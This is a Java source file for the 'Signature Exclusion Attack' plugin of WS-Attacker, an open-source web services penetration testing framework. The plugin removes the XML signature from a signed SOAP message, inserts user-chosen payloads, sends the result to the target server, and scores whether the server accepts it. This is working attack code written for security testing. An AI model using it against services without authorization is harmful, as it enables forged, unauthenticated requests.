/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2011 Christian Mainka * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.signatureWrapping; import com.eviware.soapui.impl.wsdl.WsdlRequest; import com.eviware.soapui.impl.wsdl.WsdlSubmit; import com.eviware.soapui.impl.wsdl.WsdlSubmitContext; import com.eviware.soapui.impl.wsdl.support.soap.SoapUtils; import com.eviware.soapui.impl.wsdl.support.soap.SoapVersion; import com.eviware.soapui.model.iface.Request.SubmitException; import java.util.*; import javax.xml.xpath.XPathExpressionException; import org.apache.xmlbeans.XmlException; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.xml.sax.SAXException; import wsattacker.library.signatureWrapping.option.Payload; import wsattacker.library.signatureWrapping.util.signature.SignatureRemover; import wsattacker.library.xmlutilities.dom.DomUtilities; import wsattacker.main.composition.plugin.AbstractPlugin; import wsattacker.main.composition.testsuite.RequestResponsePair; import wsattacker.main.plugin.PluginState; import wsattacker.plugin.signatureWrapping.option.OptionManager; /** * Attack Plugin which removes a Signature from an XML message and checks if the server accepts it. */ public class SignatureExclusionAttack extends AbstractPlugin { private static final String NAME = "Signature Exclusion Attack"; private static final String AUTHOR = "Christian Mainka"; private static final String VERSION = "1.0 / 2012-11-07"; private static final String[] CATEGORY = new String[] { "Security", "Signature" }; private static final String DESCRIPTION = "Attack which removes the XML Signature within a signed message." + "\n\n" + "Background\n" + "In some cases, the signature verification logic only verifies" + "a signature, if one is present." + "Otherwise it will just forward the message to the application logic." + "\n\n" + "This attack plugin will fail, if no <ds:Signature> element can be found" + "\n\n" + "You can configure the Payloads/Timestamps etc. in the Signature Wrapping Plugin." + "\nNote, that it is not necessary to enable the XSW Plugin, it can only be used" + "for configuration."; private WsdlRequest attackRequest = null; private String originalSoapAction = null; @Override public void initializePlugin() { setName( NAME ); setAuthor( AUTHOR ); setVersion( VERSION ); setCategory( CATEGORY ); setDescription( DESCRIPTION ); setState( PluginState.Ready ); } @Override public boolean wasSuccessful() { return getCurrentPoints() == getMaxPoints(); } @Override public void clean() { removeAttackReqeust(); setCurrentPoints( 0 ); } /** * Observer function which is called if the attack request is removed. */ public void removeAttackReqeust() { if ( originalSoapAction != null && attackRequest != null ) { attackRequest.getOperation().setAction( originalSoapAction ); originalSoapAction = null; } // remove attack request if ( attackRequest != null ) { attackRequest.getOperation().removeRequest( attackRequest ); attackRequest = null; } } @Override protected void attackImplementationHook( RequestResponsePair original ) { OptionManager optionManager = OptionManager.getInstance(); // save needed pointers attackRequest = original.getWsdlRequest().getOperation().addNewRequest( getName() + " ATTACK" ); // should the soapaction be changed? if ( optionManager.getOptionSoapAction().getSelectedIndex() > 0 ) { originalSoapAction = attackRequest.getOperation().getAction(); attackRequest.getOperation().setAction( optionManager.getOptionSoapAction().getValueAsString() ); } Element toClone = optionManager.getSignatureManager().getDocument().getDocumentElement(); Document attackDocument = DomUtilities.createNewDomFromNode( toClone ); // create the attack document, i.e. // update timestamps / add user-payloads List<Payload> payloads = optionManager.getSignatureManager().getPayloads(); for ( Payload payload : payloads ) { if ( payload.hasPayload() ) { Element signedElement = DomUtilities.findCorrespondingElement( attackDocument, payload.getSignedElement() ); Element payloadElement; try { payloadElement = (Element) attackDocument.importNode( payload.getPayloadElement(), true ); } catch ( Exception e ) { log().warn( "Could not get Payload Element for " + signedElement.getNodeName() + " / Skipping." ); continue; } if ( signedElement.getParentNode() != null && payloadElement != null ) { signedElement.getParentNode().replaceChild( payloadElement, signedElement ); } } } SignatureRemover r = new SignatureRemover( attackDocument ); String attackDocumentAsString = DomUtilities.domToString( attackDocument ); attackRequest.setRequestContent( attackDocumentAsString ); trace( "Attack Request: \n\n" + attackDocumentAsString ); WsdlSubmit<WsdlRequest> submit; try { submit = attackRequest.submit( new WsdlSubmitContext( attackRequest ), false ); } catch ( SubmitException e ) { log().warn( "Could not submit the request. Trying next one." ); setState( PluginState.Failed ); return; } String responseContent; responseContent = submit.getResponse().getContentAsString(); if ( responseContent == null ) { important( "The server's answer was empty. Server misconfiguration?" ); setCurrentPoints( 10 ); } else { try { SoapVersion soapVersion = attackRequest.getOperation().getInterface().getSoapVersion(); if ( SoapUtils.isSoapFault( responseContent, soapVersion ) ) { // Now we have to find the SOAPFault reason: String xpath; if ( soapVersion.equals( SoapVersion.Soap11 ) ) { xpath = "/*[local-name()='Envelope'][1]/*[local-name()='Body'][1]/*[local-name()='Fault'][1]/*[local-name()='faultstring'][1]"; } else { xpath = "/*[local-name()='Envelope'][1]/*[local-name()='Body'][1]/*[local-name()='Fault'][1]/*[local-name()='Reason'][1]/*[local-name()='Text'][1]"; } // We have a valid response, saving Document doc; try { doc = DomUtilities.stringToDom( responseContent ); List<Element> match; try { match = (List<Element>) DomUtilities.evaluateXPath( doc, xpath ); StringBuilder sb = new StringBuilder(); for ( Element ele : match ) { sb.append( ele.getTextContent() ).append( " " ); } info( "Server returned with SOAP Fault: " + sb.toString() ); trace( responseContent ); } catch ( XPathExpressionException ex ) { info( "Server returned with SOAP Fault." ); trace( responseContent ); } } catch ( SAXException ex ) { java.util.logging.Logger.getLogger( SignatureWrapping.class.getName() ).log( java.util.logging.Level.SEVERE, null, ex ); } } else if ( optionManager.getOptionMustContainString().isOn() ) { String searchString = optionManager.getOptionTheContainedString().getValue(); int index = responseContent.indexOf( searchString ); if ( index < 0 ) { setCurrentPoints( 50 ); info( "The answer does not contain the searchstring:\n" + searchString ); trace( responseContent ); } else { setCurrentPoints( 100 ); important( "The answer contains the searchstring:\n" + searchString ); trace( responseContent ); } } else { setCurrentPoints( 100 ); important( "Server accpeted the Attack message. No SOAP Fault received" ); trace( responseContent ); } } catch ( XmlException ex ) { setCurrentPoints( 10 ); info( "The answer is not valid XML. Server missconfiguration?" ); trace( "Request:\n" + submit.getRequest().getRequestContent() ); } } removeAttackReqeust(); } }